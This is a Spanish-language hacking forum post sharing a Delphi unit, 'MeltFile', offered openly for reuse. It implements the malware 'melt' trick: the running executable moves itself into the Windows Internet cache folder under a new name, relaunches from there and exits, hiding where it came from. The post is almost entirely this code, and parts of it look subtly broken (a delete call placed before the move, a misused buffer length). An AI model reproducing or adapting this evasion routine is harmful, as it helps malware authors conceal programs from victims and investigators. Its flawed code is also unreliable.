MeltFile [UNIT] [Fakedo0r]

Iniciado por Fakedo0r, Abril 19, 2012, 05:10:05 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Abril 19, 2012, 05:10:05 PM Ultima modificación: Abril 21, 2013, 01:05:00 PM por Expermicid
Los que no conocen la funcion melt, entonces aconsejo usar el San Google.

Código: delphi

//******************************************************************************
//* UNIT:         UNT_MelFile
//* AUTOR:        Fakedo0r
//* CORREO:       [email protected]
//* BLOG:         Sub-Soul.blogspot.com
//* FECHA:        12.04.2012
//* USO:          MeltFile('prueba');
//******************************************************************************
unit UNT_MeltFile;
//******************************************************************************
//DECLARACION LIBRERIAS / CLASES
//******************************************************************************
interface

uses
  Sysutils, Messages, Dialogs, Windows, ShlObj, ShellAPI;
//******************************************************************************
//DECLARACION DE FUNCIONES / PROCEDIMIENTOS
//******************************************************************************
function MeltFile(sFileName: String): Bool;
function GetAppPath: String;
function MsgBoxA(sMessage: String): Smallint;
function GetSpecialFolderA(iCSIDL: Integer):String;
//******************************************************************************
implementation
//******************************************************************************
//<--- OBTIENE LAS RUTAS ESPECIALES --->
//******************************************************************************
function GetSpecialFolderA(iCSIDL: Integer): string;
Var
   pszPath: PChar;
   iRet:    Integer;
   tIDL:    PItemIDList;
begin
  GetMem(pszPath, MAX_PATH);
  iRet := SHGetSpecialFolderLocation(0, iCSIDL, tIDL);

  if iRet = NOERROR then
  begin
    SHGetPathFromIDList(tIDL, pszPath);
    GetSpecialFolderA := String(pszPath);
  end;

  FreeMem(pszPath);
end;
//******************************************************************************
//<--- OBTIENE LA RUTA COMPLETA DEL EJECUTABLE --->
//******************************************************************************
function GetAppPath: String;
var
  dwHnd:    DWORD;
  pszBuff:  PChar;
begin
  dwHnd := 0;

  GetMem(pszBuff, MAX_PATH);
  GetModuleFileName(dwHnd, pszBuff, Length(pszBuff));

  Result := pszBuff;

  FreeMem(pszBuff);
end;
//******************************************************************************
//<--- MUESTRA MENSAJE --->
//******************************************************************************
function MsgBoxA(sMessage: String): Smallint;
begin
   MessageBoxEx(0, PChar(sMessage), PChar('Mensaje'), MB_ICONINFORMATION, 0);
end;
//******************************************************************************
//<--- MELTFILE --->
//******************************************************************************
function MeltFile(sFileName: String): Bool;
var
  sOldPath:   String;
  sDestPath:  String;
  sAccount:   String;
begin
  Result := True;
  sOldPath := GetAppPath;

  if sFileName = '' then
  begin
     MsgBoxA('Error');
     Result := False;
     Exit;
  end;

  sDestPath := GetSpecialFolderA(CSIDL_INTERNET_CACHE) + '\' + sFileName + '.exe';

  if sOldPath <> sDestPath then
  begin
    DeleteFile(PChar(sOldPath));
    MoveFileEx(PChar(sOldPath), PChar(sDestPath), MOVEFILE_COPY_ALLOWED);
    ShellExecute(0 , nil, PChar(sDestPath), '', '', SW_SHOW);

    ExitProcess(0);
  end;
end;

end.


Saludo.